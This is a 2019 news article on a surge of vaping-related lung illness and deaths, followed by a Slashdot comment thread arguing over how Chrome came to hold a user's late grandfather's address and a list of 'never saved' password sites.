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Cases of Vaping-Related Lung Illness Surge, Health Officials SayCases of Vaping-Related Lung Illness Surge, Health Officials Say

Indiana announced a third death linked to the illness on Friday, Minnesota a fourth and California a fifth. State and federal health officials are working urgently to understand the causes.

Image

Scans of the lungs of four patients, aged 19 to 49, showing damage to the lungs from vaping devices.CreditCreditNew England Journal of Medicine

By Matt Richtel and Denise Grady

Sept. 6, 2019
- 779

Medical experts and federal health officials on Friday warned the public about the dangers of vaping and discouraged using the devices as the number of people with a severe lung illness linked to vaping more than doubled to 450 possible cases in 33 states and the number of deaths rose to five.

The Indiana Department of Health announced the third death on Friday, and hours later, officials in Minnesota confirmed that a fourth person had died. The Los Angeles County Department of Public Health is investigating a fifth death, and an official said Friday that “vaping is a probable potential cause.” Two other deaths, one in Illinois, the other in Oregon, had been announced previously.

“There is clearly an epidemic that begs for an urgent response,” Dr. David C. Christiani of the Harvard T.H. Chan School of Public Health wrote in an editorial published on Friday in The New England Journal of Medicine.

The editorial called on doctors to discourage their patients from using e-cigarettes and for a broader effort to increase public awareness about “the harmful effects of vaping.”

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Officials from the Centers for Disease Control and Prevention echoed that call in a briefing.

“While this investigation is ongoing, people should consider not using e-cigarette products,” said Dr. Dana Meaney-Delman, who is leading the C.D.C.’s investigation into the illness.

[Read our story about the rise of this mysterious vaping-related illness that is spreading across the nation.]

The recent rise of acute lung illnesses linked to vaping has deepened concerns about the safety of the devices. E-cigarettes were intended to help smokers quit traditional cigarettes by providing a way to satisfy an addiction to nicotine without the deadly toxins that come from burning tobacco.

But in 2018, vaping among American teenagers exploded and large numbers of young people who had never smoked started using e-cigarettes. They were especially attracted to sleek devices made and marketed by Juul Labs, which now dominates the market. A 2018 survey sponsored by the federal government found that 21 percent of high school seniors had vaped within the previous 30 days, compared to 11 percent a year earlier.

Now young people are being sickened by the new wave of lung illnesses. C.D.C. officials said they believe that some “chemical” is involved as the cause but they have not identified a single responsible “device, product or substance,” Dr. Meaney-Delman said.

Dr. Christiani wrote in The New England Journal editorial that it was not yet clear which substances were causing the damage. E-cigarette fluids alone contain “at least six groups of potentially toxic compounds,” he wrote, but he noted that many of the patients had also vaped substances extracted from marijuana or hemp. The mixed-up stew of chemicals might even create new toxins, Dr. Christiani suggested. The journal also published a study of two clusters of 53 cases in Wisconsin and Illinois.

What looked like scattered cases earlier this summer has become a full-fledged and widespread public health scare, leaving otherwise healthy teenagers and young adults severely ill.

The first case of the mysterious lung illness, in Illinois, came in April, indicating that the syndrome emerged earlier than the mid-June date that federal officials have often cited as the time the afflictions began.

The patients studied in Illinois and Wisconsin were typically “healthy, young, with a median age of 19 years and a majority have been men,” said Dr. Jennifer Layden, chief medical officer and state epidemiologist for the Illinois Department of Public Health. A third were younger than 18.

The journal article about the Illinois and Wisconsin patients said that 98 percent were hospitalized, half required admission to the intensive care unit, and a third had so much trouble breathing that they needed to be placed on ventilators.

Eighty-four percent had vaped a product including T.H.C., the high-inducing chemical in marijuana. Dr. Layden said a majority had also used a “nicotine-based product,” noting that there were “a range of products and devices.”

The journal article about those cases mentions that the heating coils in vaping devices might release metal particles that could be inhaled.

“The focus of our investigation is narrowing but is still faced with complex questions,” said Ileana Arias, the C.D.C.’s acting deputy director for noninfectious diseases. She added, “We are working tirelessly and relentlessly.”

Mitch Zeller, the director of the Center for Tobacco Products at the Food and Drug Administration, said particular concern is developing around products that are jury-rigged by vaping retailers, or tampered with or mixed by consumers themselves. “Think twice,” he said, urging consumers to avoid vaping products purchased on the street or that they have made themselves.

[Read our story about the explosive growth of teenagers addicted to vaping, with no easy way to quit.]

Public health officials have underscored one fundamental point: that the surge in illnesses is a new phenomenon and not merely a recognition of a syndrome that may have been developing for years.

Indiana on Friday confirmed a third death from a severe lung illness linked to vaping shortly before officials in Minnesota confirmed a fourth. The patient, who was 65, had a history of lung disease, but state officials said his acute lung injury was linked to “vaping illicit T.H.C. products.”

Health officials in Los Angeles County, Calif., said Friday that they had been investigating a dozen reports of lung illnesses linked to vaping, including one death, since Aug. 14. The patient who died was “an older adult with chronic underlying health conditions,” though “it is clearly believed that vaping is a probable potential cause,” Dr. Muntu Davis, a health officer with the Los Angeles County Department of Public Health, said at a news conference.

Most of the cases involved teens and young adults, but a third were middle-aged and older adults, Dr. Davis said. Of the 12 patients, 11 were known to have vaped T.H.C. products, he said.

“If you don’t have to vape don’t do it right now,” Dr. Davis said. “It’s wise to stay away from this until we understand what the implications are.”

Two other people — one in Illinois, the other in Oregon, both of whom were adults — have died from what appears to be the same type of illness, health officials in those states have said.

Patients afflicted with the illness typically have showed up in emergency rooms with shortness of breath after several days of flulike symptoms, including high fever.

In an especially severe case in Utah, a 21-year-old man had such serious lung damage that even a ventilator could not provide enough breathing help. Doctors had to connect him to a machine that pumped oxygen directly into his bloodstream to keep him alive.

Image

An image released by the New York State health department showing products that have been found to contain vitamin E acetate.CreditMike Wren/New York State Department of Health

Fluid from his lungs contained white blood cells full of fat, not from the substances he had vaped, but more likely a sort of debris from the breakdown of his lung tissue.

“We were flying in the dark with this kid,” said Dr. Sean J. Callahan, a pulmonologist and critical care specialist at the University of Utah, and an author of a letter about six vaping patients in Utah that was published Friday in The New England Journal of Medicine.

“I thought he was going to die,” Dr. Callahan said. “I kept thinking, his parents were there, if this were me and my wife, how crushed we would be for something that is completely avoidable. I worry that these products are really geared toward young people and kids, and we need a call to ban these things. That’s my call to action as a father and a doctor.”

The patient survived, and went home after two weeks in the hospital.

It is too soon to tell whether people with vaping injuries will recover fully, or sustain lasting lung damage, Dr. Callahan said.

He added that doctors need to take better histories of young patients who come in with pneumonialike symptoms to try to find the real cause. Some patients and their families are forthcoming about vaping, but others are not. In one case, he said, medical residents were puzzled by what could have caused the illness. He asked the patient’s mother to leave the room and then, instead of asking if the patient vaped, he simply asked, “What do you vape?” The answer was T.H.C.

The state of New York, where 34 people have become ill, said on Thursday that vaping samples from eight of its cases showed high levels of a compound called vitamin E acetate. Investigators there are focusing on the possibility that the oily substance might be playing a key role in the illness.

However, some of the more than 100 vaping samples being examined by the federal government did not test positive for vitamin E acetate, so that compound remains only one of many possible causes of the heavy lung inflammation.

Correction: Sept. 6, 2019

An earlier version of this article misidentified the affiliation of Mitch Zeller. He works for the Food and Drug Administration, not the Centers for Disease Control and Prevention.

Matt Richtel is a best-selling author and Pulitzer Prize-winning reporter based in San Francisco. He joined The Times staff in 2000, and his work has focused on science, technology, business and narrative-driven storytelling around these issues.

@mrichtel

Denise Grady has been a science reporter for The Times since 1998. She wrote “Deadly Invaders,” a book about emerging viruses. @nytDeniseGrady

A version of this article appears in print on Sept. 6, 2019, Section A, Page 1 of the New York edition with the headline: Illness Prompts Warning to Stop E-Cigarette Use. Order Reprints | Today’s Paper | Subscribe

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'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' - Slashdot

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'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' (forbes.com) 164

Posted by EditorDavid on Sunday September 08, 2019 @12:34AM from the I'll-be-seeing-you dept.

schwit1 shares a Forbes article by Joe Toscano, a former experience design consultant for Google who in 2017 "decided to step away from my role consulting with Google, due to ethical concerns."

This summer he got a big surprise when he looked in Chrome's "addresses" panel at chrome://settings/addresses _It turns out Google has info connecting me to my grandma (on my dad's side) who's alive and well but has never had the internet, and my grandpa (on my mom's side), who recently passed away in March 2019 and also never had the internet. This was disturbing for several reasons, the biggest of which being that neither of them had ever logged onto the internet in their lives. Neither even had the internet in their homes their entire lives! Beyond that, Google knew their exact addresses and their middle initials. I couldn't even have told you those things about my grandparents...

[T]he data wasn't manually entered by me or anyone using my account, but yet the data is associated with my account? How did that happen? The only thing I can think of is that at one point in history my grandpa gave his information to someone or some company in real life and his information was sold to Google at one point or another... But then that led me to another question: How did his data get associated with my Google account...?

Other questions I have: What other information does Google have about me/my family/others that I don't know about...?_
He's now asking readers if they have any idea how Google connected him to his dead grandpa -- and whether Google is somehow creating an ancestry database.

Toscano also discovered Chrome has been creating a list of "Never Saved" passwords at chrome://settings/passwords?search=credentials even though "At no point did I tell Google to create and store a list of websites I had logged into that they didn't get access to but would like access to at some point in the future. Maybe in the Terms of Service/Privacy Policy I agreed to this, but who knows? Not the majority of us, and it's just creepy."

And in an update Toscano writes that he hopes the article will "provoke thought" about "why we willingly allow this to happen": Why is it okay that the internet is designed to be a surveillance machine? Why isn't it designed to be private by design? Is this how we want to carry on? Just because something is legal doesn't mean it's right. What would you like to see done? How would you like to see things changed?

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So? (Score:4, Insightful)

by backslashdot ( 95548 ) writes: on Sunday September 08, 2019 @12:37AM (#59170246)

So what? Google has the right to tell us what they know from public sources. You know when I was growing up people weren't scared of other idiots knowing their name and address. It was all in the phone book. Own guns, cameras, and defend your home from thugs and gangsters. Fools.

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- Re:So? (Score:4, Insightful)
  
  by passionplay ( 607862 ) writes: on Sunday September 08, 2019 @12:50AM (#59170268)
  
  Mod parent up. Phone books are public information. Public records get sucked in. If you want privacy, request a non-listed number. You can also do the same with a cell phone. The default is share all contact details. You can't cry over spilled milk.
  
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  - Re:So? (Score:4, Interesting)
    
    by StikyPad ( 445176 ) writes: on Sunday September 08, 2019 @05:31AM (#59170588) Homepage
    
    I mean, there's a reasonable argument to be made that public disclosure and/or reselling of personal information should be "opt-in" rather than "opt-out," but otherwise, yes, public information sources can easily be used to piece together relationships, as anyone who's done a bit of genealogy can tell you.
    
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  - Re:So? (Score:4, Informative)
    
    by AmiMoJo ( 196126 ) writes: on Sunday September 08, 2019 @09:38AM (#59170898) Homepage Journal
    
    In this case they almost certainly got it from someone typing it in. Someone had something sent to his house and entered the address, and Chrome saved it as it was configured to.
    
    Same with the saved passwords. Someone saved them. You can confirm for yourself that if you click "do not save" or disable saved passwords entirely it won't store them.
    
    This guy is a moron who can't operate his computer and blames Google for it.
    
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    - Re: (Score:2)
      
      by denzacar ( 181829 ) writes:
      
      He typed in his grandparents' middle names, which he didn't know? How and what for?
      
      We know that Facebook creates shadow profiles for people's friend's and family who are not even on Facebook. Or alive.
      
      Why would anyone think that Google is not doing the same?
      Cause they've deleted Google+ (at least for the users) - and replaced it with Shoelace?
      Cause they can't somehow create a database and fill it with any and all personal information that they can scrub from ANYWHERE?
      Cause they used to have a motto about do
- Re: So? (Score:2)
  
  by Justin Smith ( 4524095 ) writes:
  
  Cant forget about the Mormon genealogy data collection, I bet google has access to that as well
  - Re: (Score:2)
    
    by PolygamousRanchKid ( 1290638 ) writes:
    
    Cant forget about the Mormon genealogy data collection, I bet google has access to that as well
    
    Creepy story: I'm American but live in Germany with my German girlfriend. We only speak German with each other, so sometimes her English is a little shaky. There is an American military base nearby. I have an extremely rare last name.
    
    So some American stranger calls up when I was not at home, and told my girlfriend his name and that he was a cousin of mine, and asked my girlfriend if we were members of the of the church of the LDS.
    
    When I got home, she asked, "Do you have a cousin that takes LSD?"
    
    So I
    - They do. Be certain of it. (Score:2)
      
      by denzacar ( 181829 ) writes:
      
      I'm still wondering if my name is in their database.
      
      And it's not just your name... if possible, they'll also collect and keep your DNA too. [slashdot.org]
  - Re: (Score:2)
    
    by CrimsonAvenger ( 580665 ) writes:
    
    Cant forget about the Mormon genealogy data collection, I bet google has access to that as well
    
    Probably. And it's not like there aren't other people doing family genealogy. I've got three relatives I know of (including my mother) who are busy running down genealogy links for the families in question. And it's not like things on public forums are secrets....
    - Re: (Score:3)
      
      by denzacar ( 181829 ) writes:
      
      And it's not like there aren't other people doing family genealogy.
      
      OH! It is NOT! Not even close. It's a very special kind of genealogy that Mormons do.
      
      https://en.wikipedia.org/wiki/... [wikipedia.org]
      
      "The LDS Church teaches that deceased persons who have not accepted, or had the opportunity to accept, the gospel of Christ in this life will have such opportunity in the afterlife.
      The belief is that as all must follow Jesus Christ, they must also receive all the ordinances that a living person is expected to receive, including baptism.
      For this reason, members of the LDS Church are encouraged to research their genealogy.
      This research is then used as the basis for church performing temple ordinances for as many deceased persons as possible.
      As a part of these efforts, Mormons have performed temple ordinances on behalf of a number of high-profile people, including the Founding Fathers of the United States,[47][48][49] U.S. Presidents,[47] Pope John Paul II,[50] John Wesley,[47] Christopher Columbus,[47] Adolf Hitler,[51] Joan of Arc,[51] Genghis Khan,[51] Joseph Stalin,[51] and Gautama Buddha.[51] ...
      In February 2012, the issue re-emerged after it was found that the parents of Holocaust survivor and Jewish rights advocate Simon Wiesenthal were added to the genealogical database.[74]
      Shortly afterward, news stories announced that Anne Frank had been baptized by proxy for the ninth time, at the Santo Domingo Dominican Republic Temple.[75]"
      
      https://en.wikipedia.org/wiki/... [wikipedia.org]
      
      "FamilySearch is a genealogy organization operated by The Church of Jesus Christ of Latter-day Saints (also known as the LDS Church). ...
      The resource is maintained to support the process of obtaining names and other genealogical information so that Latter-day Saints can perform temple ordinances for their kindred dead.[3] ...
      In February 2014, FamilySearch announced partnerships with Ancestry.com, findmypast and MyHeritage, which includes sharing massive amounts of their databases with those companies.
      They also have a standing relationship with BillionGraves, in which the photographed and indexed images of graves are both searchable on FamilySearch and are linked to individuals in the family tree.[6]"
      
      Mormons basically plan to gather, buy or steal everyone's DNA so as to jam anyone and everyone EVER into their cult, post facto.
- Re:So? (Score:5, Insightful)
  
  by ArchieBunker ( 132337 ) writes: on Sunday September 08, 2019 @01:09AM (#59170310) Homepage
  
  Last I checked phone books didn't function as a family tree.
  
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  - Re: (Score:2)
    
    by backslashdot ( 95548 ) writes:
    
    Why would they choose your family tree to go after? What are they going to do with knowing your family tree?
    - Re: (Score:3)
      
      by ArchieBunker ( 132337 ) writes:
      
      Do you have a clue why gmail and all these services from google are free? The information collected is valuable. Someone will pay for it.
      - Re: (Score:3)
        
        by deviated_prevert ( 1146403 ) writes:
        
        Do you have a clue why gmail and all these services from google are free? The information collected is valuable. Someone will pay for it.
        
        Ancestry DNA for instance? Or financial institutions doing deep credit checks, firms that need extreme security clearances. The NSA, well maybe not them because that might violate federal privacy laws. Though on the books privacy laws are being flaunted by corporations with the connections to do it like google and the government with ever increasing frequency. The public portion of the internet is Big Brother which like Dianetics was a brilliant concept by visionary people. We just refuse to believe that 19
        
        Re: (Score:3)
        
        by drinkypoo ( 153816 ) writes:
        
        No, silicon heaven is where all the calculators go. You just die.
    - Re:So? (Score:5, Interesting)
      
      by Daemonik ( 171801 ) writes: on Sunday September 08, 2019 @02:10AM (#59170390) Homepage
      
      Well, for one, that's how debt collectors start harassing your family members who aren't responsible for your debt, real or faked, so they'll put pressure onto you.
      
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      - Re: (Score:2)
        
        by benjymouse ( 756774 ) writes:
        
        Well, for one, that's how debt collectors start harassing your family members who aren't responsible for your debt, real or faked, so they'll put pressure onto you.
        
        Seriously, can they do that in the US?
        
        Re: (Score:2)
        
        by novakyu ( 636495 ) writes:
        
        Yeah, if they want to be sued under Fair Debt Collection Practices Act [wikipedia.org], they can.
        
        If you meant if they can do it legally, no. Hell no.
        
        Re: (Score:2)
        
        by kenai_alpenglow ( 2709587 ) writes:
        
        Security Pacific Housing (Now part of Bank of America) sure did. They called my parents to put pressure on me for a non-performing loan. Trouble was: I had paid off the loan quite a while before. And the non-performing loan was not even in the same county much less on me or my property. Got it cleared up, but no apology. Lawyer said I could have got them kicked out of the state (unlikely, but a black mark against them).
    - Re: (Score:2)
      
      by dromgodis ( 4533247 ) writes:
      
      Hey you, buy X. If you don't buy X, we will make your daughter buy Y. And we will definitely make your grampa know that he should buy you 2X for your birthday.
    - Re: (Score:2)
      
      by benjymouse ( 756774 ) writes:
      
      Why would they choose your family tree to go after? What are they going to do with knowing your family tree?
      
      When your dad's birthday is coming up, you will be served ads that fits he's wishes for a birthday present. When your spouse is going on a overseas trip there may be some of your interests that needs a boost during that period. When
      
      There is a lot of creepy things ad pushers, telemarketers or activists can do with that type of personal information.
  - Re: (Score:3)
    
    by TigerPlish ( 174064 ) writes:
    
    Last I checked phone books didn't function as a family tree.
    
    Obviously, you've never been to Vancleave, Mississippi.
    
    The family tree, um, don't fork there.
    - Re: (Score:2)
      
      by PolygamousRanchKid ( 1290638 ) writes:
      
      Obviously, you've never been to Vancleave, Mississippi.
      
      The family tree, um, don't fork there.
      
      To use another computer network analogy instead of a car analogy, my family tree has routing loops [wikipedia.org].
  - GPS don't neither (Score:2)
    
    by DrYak ( 748999 ) writes:
    
    and GPS don't work as tree neither.
    
    Still that's probably the way Google found out the link.
    
    TFA's author mentions he doesn't even know the actual private address of his granddad (as a workaholic, it was simpler to call his company to reach him), but he cleary knows how to drive there to visit.
    
    That's the key point.
    
    It's a well documented fact that Google Play Services constantly ping the motherbase and thus can monitor all your movements. (e.g.: the /e/ foundation about page has references to such publicatio
    - Re: (Score:2)
      
      by itsme1234 ( 199680 ) writes:
      
      at some point they even had an interface to show "places I've been
      
      It'basic feature in Google Maps, they can even tell you when (each date if multiple times) you visited. Not only if you had maps open or the place as destination. It's opt-in, comes with location tracking. I actually like it very much and yes, I am aware about the consequences (and I wasn't born yesterday,
      heck my pgp key is 23 years old).
      - *NOT* opt-in (Score:2)
        
        by DrYak ( 748999 ) writes:
        
        It'basic feature in Google Maps, they can even tell you when (each date if multiple times) you visited. Not only if you had maps open or the place as destination. It's opt-in, comes with location tracking.
        
        The problem, according to several security researchers (too busy to find the exact sources, but you could google^H... sorry DuckDuckGo it) is that the *display* of this travel history is opt-in.
        Google collecting it *is not*: Apperently Google records all your movements no matter what setting.
    - Re: (Score:2)
      
      by Kazymyr ( 190114 ) writes:
      
      and GPS don't work as tree neither.
      
      Hm. If the GPS coordinates of the phones of 2 or more users spend extensive amounts of time within a few feet of each other, some inferences can be made.
      - ( ^- the TL;DR version of my rant ) (Score:2)
        
        by DrYak ( 748999 ) writes:
        
        Hm. If the GPS coordinates of the phones of 2 or more users spend extensive amounts of time within a few feet of each other, some inferences can be made.
        
        A nice shortening of my long rant.
        
        (Though in my example, I was more thinking or 1 user spend extensive amount of time withint a few feet of a phonebook's address, given that the grandad never had internet nor a smartphone. But basically that's it)
  - Re: (Score:2)
    
    by e3m4n ( 947977 ) writes:
    
    Have you ever tried to set up an account with a banking or life insurance company? I don’t mean start something. I mean just get your online profile going so you can login and access the account you already have. They often ask you to prove your identity. Sometimes it shows addresses in other cities lived in in 15 years. One time it asked me what ZIP Code I lived in when I lived with X name. I didn’t even recognize the name. Turns out it was some girlfriend I lived with 30 years ago some 2
    - Re: (Score:2)
      
      by e3m4n ( 947977 ) writes:
      
      You’ll have to forgive Siri for totally fucking replacing one word with something nonsensical. I was making a reference to the movie “sleeping with enemy” I wish we had an edit button
  - Re: So? (Score:2)
    
    by argStyopa ( 232550 ) writes:
    
    You know there are other publicly available sources of data (for example, the Mormon genealogy data) that are a) connected to the internet, b) require no user participation to be included, and c) aren't the phone book right ?
  - Re: (Score:2)
    
    by Darinbob ( 1142669 ) writes:
    
    Credit reports and background checks too. They seem to have some detailed information. Much of it is plain wrong, while other parts are a bit mysterious (mine lists an address for me back in college where I just spent a couple months on a friend's sofa).
- Re: (Score:3)
  
  by serviscope_minor ( 664417 ) writes:
  
  So what? Google has the right to tell us what they know from public sources.
  
  So what? Legal right does not equate to moral right. It's legal for companies to build massive surveillance machines because the laws surrounding that kind of thing were written when you'd need to fork over large amounts of cash to get a PI to follow someone in order to know that much about them. People back then had large amounts of privacy even in public places because for most people, most of the time it was not possible to track
  - Re: (Score:2)
    
    by TheRealMindChild ( 743925 ) writes:
    
    Legal right does not equate to moral right.
    
    This is where the idea of free market capitalism falls on its face. That company, or any other for that matter, is an entity with absolutely no heart and soul, whose sole purpose for existing is to make money. The larger it gets, the more disconnected it becomes from anyones moral direction. They become the Borg. An ant colony. Zerg. If you want to shape their behavior, it has to be through the legal system. You either create laws to fence in the beast, or it wil
- Re: So? (Score:2)
  
  by Way Smarter Than You ( 6157664 ) writes:
  
  Those piles of public information were public before the internet was a thing and were not intended to allow global megacorps to invade our privacy, profile us, resell us to advertisers and countless governments, and make us easily findable and stalkable. We should reconsider what is public information or at least put licenses on the data to prevent these originally unforeseen abuses. Google (which means management and every employee) is evil as fuck and needs to be stopped. They'll crawl through any lo
- Re: (Score:2)
  
  by denzacar ( 181829 ) writes:
  
  Please, do bring that gun when you face the cops someone swatted you with. And make sure to yell at them those same things you spouted there.
  Sometimes they can't hear well over their helmets.
  And all the gunfire that made you, your family and probably the next door neighbors, into less of a humanoid shape than a texture.
  And do deck out your home with cameras. Makes it look more like a paranoid's meth lab to cops.
  
  You don't live in a "phone books" world anymore, grandpa. It's the information age, haven't you h
- And it's nothing new, either . . . (Score:2)
  
  by hawk ( 1151 ) writes:
  
  old data has been getting into computers for decades, predating the internet.
  
  I got a call in a bout 1989 from my grandmother, wondering what she should do.
  
  She had just received mail addressed to *her* father (who built the house she still lived in). It was a pre-approved gold card with a $5k limit . . .
  
  Understand, my great-grandfather was well over 50 years in the grave at that point, having died in her childhood before WWII, Enicac and the ABC, etc. . .
  
  hawk
Isn't that obvious it would save those somewhere? (Score:5, Insightful)

by Admiral Krunch ( 6177530 ) writes: on Sunday September 08, 2019 @12:46AM (#59170262)

Toscano also discovered Chrome has been creating a list of "Never Saved" passwords at chrome://settings/passwords?search=credentials

So when Crome asked you if you wanted to save the password and you chose never save. How the fuck did you think it would remember for next time if it didn't make a list?
If you didn't want the list of never saved sites, just don't choose that option and just say no each times it asks if you want to save it. Problem solved.

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- Re:Isn't that obvious it would save those somewher (Score:4, Insightful)
  
  by Macfox ( 50100 ) writes: on Sunday September 08, 2019 @01:47AM (#59170352) Homepage
  
  Kind of interesting that someone that contracted to Google lacks the the ability to grasp such a basic concept.
  
  Hey Chrome... Don't ever prompt me to save a password for the site ever again and don't record I asked you to do this..... Ever.
  
  Are we sure he stopped working (with Google) for ethical reasons?
  
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  - Re: (Score:2)
    
    by keltor ( 99721 ) * writes:
    
    There's a lot of people who work @/For Google, every one of them is not a genius.
  - Re: (Score:2)
    
    by nyet ( 19118 ) writes:
    
    Exactly this. The author is a moron. He doesn't know jack.
  - Re: (Score:2)
    
    by Lehk228 ( 705449 ) writes:
    
    im sure his poor ethics were related to his termination
- Re:Isn't that obvious it would save those somewher (Score:5, Insightful)
  
  by jrumney ( 197329 ) writes: on Sunday September 08, 2019 @05:41AM (#59170594)
  
  Also, the "knowing my Grandpa's data" part - that chrome://settings/addresses page is where saved form data for address forms can be deleted. He, or someone with access to his account, must have entered it sometime - the only info here is what you have typed into a form sometime, not random info Google is finding about your relatives in public sources.
  
  I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.
  
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  - Re: (Score:2)
    
    by Topwiz ( 1470979 ) writes:
    
    They probably forgot that 10 years ago they ordered grandpa a birthday present from Amazon or some other website and typed in his address to the order form.
  - Re: (Score:2)
    
    by swillden ( 191260 ) writes:
    
    I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.
    
    He says he was an "experience design consultant". That's not really a technical position.
- Re: (Score:2)
  
  by e3m4n ( 947977 ) writes:
  
  Yea I'm rather thankful for the ‘stop fucking asking me’ option. Not that I trust Google with anything else, but I’m glad I have the option not to be nagged all the time
- Re: (Score:2)
  
  by swillden ( 191260 ) writes:
  
  I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.
  
  Also, the text around that comment is weird. The author says:
  
  At no point did I tell Google to create and store a list of websites I had logged into that they didn't get access to but would like access to at some point in the future.
  
  Does he seriously believe that Google accesses the accounts for which he does store credentials? That would be a blatant violation of federal law, and one which they would absolutely get caught committing if they did.
  
  As it happens, I know a little about how passwords entered
- - Re: Isn't that obvious it would save those somewhe (Score:2)
    
    by LubosD ( 909058 ) writes:
    
    Why? If you change your mind, it's useful to know for which sites you've enabled the feature.
  - Re: (Score:2)
    
    by Todd Knarr ( 15451 ) writes:
    
    How do you think the Back button works, if not by keeping a list of what URLs you've visited? And it's readable only in the browser where it's decrypted (you did set a master password on the browser, right?), any other program will see only an encrypted form.
  - Re: (Score:2)
    
    by swillden ( 191260 ) writes:
    
    So when Crome asked you if you wanted to save the password and you chose never save. How the fuck did you think it would remember for next time if it didn't make a list?
    
    By hashing the site`s urls, so that they don`t have to store them in clear text. Having a readable list of any site I log into is something I don`t want stored by the browser.
    
    And if you later decide you do want Chrome to save the login info for that web site? How do you figure out which "never save" entry to remove?
    
    Also, to achieve the goal you (erroneously, IMO) think you want, simple hashing is not enough. The space of all domain names, and even login page URLs, is far too small for hashing to be useful. Even with salting to eliminate rainbow table attacks.
- - Re:Isn't that obvious it would save those somewher (Score:5, Insightful)
    
    by Joshua Hutchinson ( 5562054 ) writes: on Sunday September 08, 2019 @08:18AM (#59170772)
    
    Ok, genius. If THAT is what you click, THAT is what it does. But if you tell it to NEVER ASK ME TO SAVE THIS WEBSITE'S PASSWORD AGAIN, it has to remember that you said never to ask for this website. And it then saves that information for future reference.
    
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- - Re: Isn't that obvious it would save those somewhe (Score:2)
    
    by orlanz ( 882574 ) writes:
    
    Yup. I read past that and in the back of my mind was praying he don't backup the bad UX stereotype. And then read the rest and thought... crap. Why do these idiots end up on the front pages like freak shows at a carnival.
    
    Clearly he knows very very little about how programs and computers work. If he ever dives into Facebook, he will probably go live in the woods off grid. "Omg, FB suggested tagging my GPs face with his real name in a pic I uploaded! My GP didn't have a FB account!"
Public record (Score:2)

by Ryzilynt ( 3492885 ) writes:

Isn't this type of information available in public record?

I did some skip tracing years ago. I had access to relatives , neighbors, public record, etc.

So yeah , that's how
- Re: (Score:2)
  
  by iggymanz ( 596061 ) writes:
  
  of course, it really is a stupid question for any adult U.S. citizen to be asking. Where do they think businesses get junk mail contacts? where do they think pollsters get phone numbers and addresses? Jeez.
  
  For decades, here is what is public that companies can use (and many states have lists on internet):
  
  your name, address, phone number, age, drivers license number, whether you are registered voter or not, any convictions, marital status and spouse and parents of the wed, divorces, death records
  
  an
  - Re: (Score:2)
    
    by iggymanz ( 596061 ) writes:
    
    oh yeah, forgot, also all real estate transactions including sale price and all parties that signed mortgage or title
I have a much more likely explanation (Score:5, Insightful)

by Anonymous Coward writes: on Sunday September 08, 2019 @01:03AM (#59170300)

Someone typed in his grandfather's address once over the past 10 years and either forgot about it or he was not aware of it (because for example his wife or children used his computer). Computers are not magic. There is no way for Google to magically link this person to his grandfather unless someone gave away this information in the first place.

And it's irrelevant whether the grandfather used the internet or not. What's relevant is whether someone talked about the grandfather using the internet.

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- Re: I have a much more likely explanation (Score:2)
  
  by aiht ( 1017790 ) writes:
  
  Exactly so. This is the list of addresses saved when they were entered in a web form, remembered (optionally) so you can enter it again later. It's not some magic web search of everybody related to you for no discernible purpose.
- Re: (Score:3)
  
  by ArchieBunker ( 132337 ) writes:
  
  How is facebook able to build shadow profiles for people who don't even have accounts? They are filling in the blanks.
  - Re: (Score:2)
    
    by kwerle ( 39371 ) writes:
    
    Bob has never used facebook. His friends Sue and Dan are both avid users. Sue and Dan both uploaded their contact lists - which include Bob.
    
    Facebook also scraped public records for Bob.
    
    Facebook instantly infers lots of stuff about Bob. They know where he lives. They know where he went to school. They know who his friends are. Bob's nephew entered his family tree on some site. So Facebook knows his whole family back 10 generations and also his kids' names.
    
    Your lives are as private as your loudest frie
- Re: (Score:3)
  
  by keltor ( 99721 ) * writes:
  
  That particular list is definitely 100% from entered form data. That is of course NOT to say that Google doesn't have some mystical family tree of public information and data on you, just that the location in question is simply not it.
- Re: (Score:2)
  
  by Theaetetus ( 590071 ) writes:
  
  Someone typed in his grandfather's address once over the past 10 years and either forgot about it or he was not aware of it (because for example his wife or children used his computer).
  
  He probably ordered something to be delivered to his grandfather.
- Re: (Score:2)
  
  by Bite The Pillow ( 3087109 ) writes:
  
  "My parents entered his information when I was logged into their home desktop between April 2019 and June 2019 while my computer was getting fixed after serious water damage. I thought this might have been a real possibility. However, I found out that they had not. He passed away on March 1st, 2019 and they said the only time theyâ(TM)ve used his information anywhere is with the lawyers, estate managers, bankers, etc who were helping in the process of our family dealing with his death."
  
  That's in TFA as
- Re: (Score:2)
  
  by saccade.com ( 771661 ) writes:
  
  +1. At some point, he used UPS/USPS/FedEx/Amazon/etc. to send something to his grandparent, and it saved the address so it could auto-fill it the next time. This is not voodoo, and it's not even a privacy violation since it's local to his computer. Google may be doing all sorts of evil things, but this isn't one of them.
- Re: (Score:2)
  
  by cgimusic ( 2788705 ) writes:
  
  Yeah, the person who wrote the article is an idiot. It's bad enough that it makes me wonder if he's a Google shill trying to distract from the actual invasions of privacy Google are constantly doing.
Had the same thing with my Grandmother (Score:5, Interesting)

by mykepredko ( 40154 ) writes: on Sunday September 08, 2019 @01:07AM (#59170308) Homepage

who died in 1991.

We noticed it when my mother died last year and we were pulling together lists of people to notify and found my grandmother's phone and address on Google (as well as iCloud when we went looking there).

The only thing I can think of is that I had her and my grandfather in my IBM VM telephone directory that was transferred into Lotus and, from there, into to my palm pilot that got picked up into my Blackberries that got sucked up into my iPhones which ended up on iCloud and in my Google address book. When she died, I thought I had updated the entry for just my grandfather (who died in 1997) and I couldn't find an entry for him anywhere.

There's probably no magic to it - just that when you think you've deleted something, it gets marked as deleted but never removed from the database and pops up sometime in the future when the "deleted" meta data can't be processed. I've seen it with a few other contacts that I know I've deleted over the years but appear much to my surprise.

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Logged into the Internet? (Score:2)

by Retired ICS ( 6159680 ) writes:

I've never Logged into the Internet either. Though I have been connected to the Internet since the mid-1980's.
- Re: Logged into the Internet? (Score:2)
  
  by Way Smarter Than You ( 6157664 ) writes:
  
  So you only use the internet at libraries and on other people's phones and computers? Really? Do you really have no idea how technology works? Your phones has to connect to the 4G/lLTE network. It has a unique identifier associated with you, the phone's registered owner. That billing info is your name, address, phone, credit card at a minimum. Your credit card company has a list of all your purchases. The credit agencies do, too. Which means the government and banks do, too. And so on. You are ve
  - Re: (Score:2)
    
    by angel'o'sphere ( 80593 ) writes:
